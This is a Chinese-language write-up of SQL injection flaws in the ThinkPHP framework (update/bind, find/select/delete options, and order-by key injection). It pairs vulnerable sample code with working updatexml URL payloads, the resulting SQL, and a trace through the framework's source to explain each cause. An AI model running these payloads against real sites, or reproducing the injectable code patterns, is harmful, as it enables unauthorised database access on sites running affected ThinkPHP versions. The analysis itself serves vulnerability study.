update注入(<=3.2.3)
漏洞代码实例
1 | $User=M('user'); |
2 | $user['id']=I('id'); |
3 | $data['name']=I('name'); |
4 | $data['money']=I('money'); |
5 | $res=$User->where($user)->save($data); |
漏洞利用
1 | ?id[]=bind&id[1]=1%20and%20%20updatexml(1,concat(0x5b,(select%20user()),0x5d),1) |
2 | //UPDATE `user` SET `money`='0',`user`='' WHERE `id` = '' and updatexml(1,concat(0x5b,(select user()),0x5d),1) |
漏洞流程
1 | save($data,$options)->_parseOptions($Options)->update($data,$options)->parsewhere($option[$where])->parsewhereitem($key,$value) |
$Options参数为空,但经过_parseOptions($Options)方法将参数中的id[]数组变为$where
进入parsewhereitem()方法将id分为键值 如果id[0]==bind,则将id[1]拼接到
如果id[0]==bind,则将id[1]拼接到
$whereStr .= $key.' = :'.$val[1];
:n
表示更新的数组data[n]
,可以结合sql语句闭合一下,有时不闭合也可以造成注入前面的exp变为
1
?id[]=bind&id[1]=1%20and%20%20updatexml(1,concat(0x5b,(select%20user()),0x5d),1)&user=admin&money=11
则语句则变成
1
UPDATE `user` SET `money`=11,`user`='admin' WHERE `id` = 11 and updatexml(1,concat(0x5b,(select user()),0x5d),1)
2
//id=:1 and updat....
3
//而 :1=data[1]=money=11
漏洞成因
经过_parseOptions($Options)
方法将可控变量合并到$Options
参数中
find_select_delete注入(<=3.2.3)
漏洞代码实例
1
$res=M('user')->find(I('id')); //select * from user where id =1;
2
$res=M('user')->select(I('id'));
3
$res=M('user')->delete(I('id'));
1
delete 方法 第一个参数可外部控制时可注入
2
select 方法 第一个参数可外部控制时可注入
3
find 方法 第一个参数可外部控制时可注入
4
5
Add 方法 第二个参数可外部控制时可注入
6
addAll 方法 第二个参数可外部控制时可注入
7
save 方法 第二个参数可外部控制时可注入
漏洞利用
1 | ?id[where]=1 and updatexml(1,concat(0x7b,(select user()),0x7d),1) |
2 | //[find/select]select * from user where id=1 and updatexml(1,concat(0x7b,(select user()),0x7d),1) |
3 | |
4 | ?id[table]=user%20where%20id=updatexml(1,concat(0x5b,(select%20user()),0x5d),1) |
5 | //[find/select]select * from user where id =updatexml(1,concat(0x5b,(select%20user()),0x5d),1) |
6 | |
7 | ?id[where]=id%3d3%20and%20updatexml(1,concat(0x5b,(select%20user()),0x5d),1) |
8 | //[delete]DELETE FROM `tp_member` WHERE id=3 and updatexml(1,concat(0x5b,(select user()),0x5d),1) |
除了where 还可以利用其他方式
1 | where,table,field,join,group,having.... |
2 | //根据parseSql函数动态调试 |
漏洞成因
_parseOptions()
方法执行了数组合并操作,将可控 options
参数拼接到即将执行的sql语句参数中
1 | if(is_array($options)) |
2 | $options = array_merge($this->options,$options); |
漏洞流程(find)
1 | find($options=array())->select($options=array())->buildSelectSql($options)->parseSql($sql,$options=array()); |
1 | //parseSql() |
2 | //$sql=SELECT%DISTINCT% %FIELD% FROM //%TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT% |
3 | |
4 | |
5 | public function parseSql($sql,$options=array()){ |
6 | $sql = str_replace( array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'), |
7 | array( |
8 | $this->parseTable($options['table']), |
9 | $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false), |
10 | $this->parseField(!empty($options['field'])?$options['field']:'*'), |
11 | $this->parseJoin(!empty($options['join'])?$options['join']:''), |
12 | $this->parseWhere(!empty($options['where'])?$options['where']:''), |
13 | $this->parseGroup(!empty($options['group'])?$options['group']:''), |
14 | $this->parseHaving(!empty($options['having'])?$options['having']:''), |
15 | $this->parseOrder(!empty($options['order'])?$options['order']:''), |
16 | $this->parseLimit(!empty($options['limit'])?$options['limit']:''), |
17 | $this->parseUnion(!empty($options['union'])?$options['union']:''), |
18 | $this->parseLock(isset($options['lock'])?$options['lock']:false), |
19 | $this->parseComment(!empty($options['comment'])?$options['comment']:''), |
20 | $this->parseForce(!empty($options['force'])?$options['force']:'') |
21 | ),$sql); |
22 | return $sql; |
23 | } |
将可控的options[‘where’]参数拼接到sql语句中
也可以使用其他的options值拼接,例如options[‘table’]
thinkphp3.2_find_select_delete注入
ord by 注入(<=3.2.3&<=5.1.22)
漏洞代码实例
1 | $data=array(); |
2 | $data['user']=array('eq','admin'); |
3 | $order=I('get.order'); |
4 | $res=M('user')->where($data)->order($order)->find(); |
5 | ar_dump($res); |
漏洞利用
1 | ?order[updatexml(1,concat(0x3a,(select%20user()),0x5d),1)%23]=1 |
2 | //直接用order=updatexml(1,concat(0x3a,(select%20user()),0x5d),1)%23也行 亲测 |
执行的sql
1 | SELECT * FROM `user` WHERE `user` = 'admin' ORDER BY updatexml(1,concat(0x3a,(select user()),0x5d),1)# 1 LIMIT 1 |
漏洞原因
ThinkPHP在处理order by排序时,当排序参数可控且为关联数组(key-value)时,由于框架未对数组中key值作安全过滤处理,攻击者可利用key构造SQL语句进行注入。